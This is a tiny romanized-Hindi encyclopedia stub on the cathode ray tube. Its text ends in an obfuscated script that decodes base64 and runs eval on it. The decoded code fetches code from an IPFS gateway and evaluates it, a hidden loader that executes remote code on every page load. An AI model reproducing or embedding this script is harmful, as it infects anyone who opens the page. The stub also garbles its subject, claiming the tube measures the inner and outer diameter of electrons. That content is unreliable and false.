कैथोड किरण नली
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thumb|kaithod kiran nali (aangrezi:Cathode Ray Tube) kaithod kiran nali ek vaijnanik upakaran hai. kaithod kiran nali ilektr aaun adi ke aandar tatha bahar ka vyas mapane ka yantr hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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